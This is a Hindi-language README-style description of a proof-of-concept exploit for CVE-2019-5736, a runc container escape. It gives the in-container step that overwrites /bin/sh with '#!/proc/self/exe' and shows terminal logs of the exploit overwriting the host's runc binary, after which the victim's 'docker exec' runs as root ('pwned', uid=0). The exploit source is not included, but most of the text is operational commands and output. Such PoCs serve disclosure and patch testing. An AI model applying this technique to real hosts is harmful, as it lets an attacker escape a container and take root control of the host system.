
CVE-2019-5736 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक runc कंटेनर एस्केप जो होस्ट के runc बाइनरी को ओवरराइट करके होस्ट पर रूट कोड निष्पादन प्राप्त करता है।
PoC उस परिदृश्य के लिए बनाया गया था जहाँ पीड़ित उदाहरण के लिए docker exec <container> sh निष्पादित कर रहा है। एक्सप्लॉइट चलाने से पहले कंटेनर फ़ाइल सिस्टम में sh बाइनरी को ओवरराइट करना आवश्यक है:
printf '#!/proc/self/exe' > /bin/sh
उसके बाद, जब पीड़ित exec कमांड निष्पादित करता है, तो होस्ट फ़ाइल सिस्टम में runc बाइनरी को एक्सप्लॉइट में परिभाषित कोड के साथ ओवरराइट किया जाना चाहिए।
कंटेनर टर्मिनल:
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/#
पीड़ित का टर्मिनल:
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$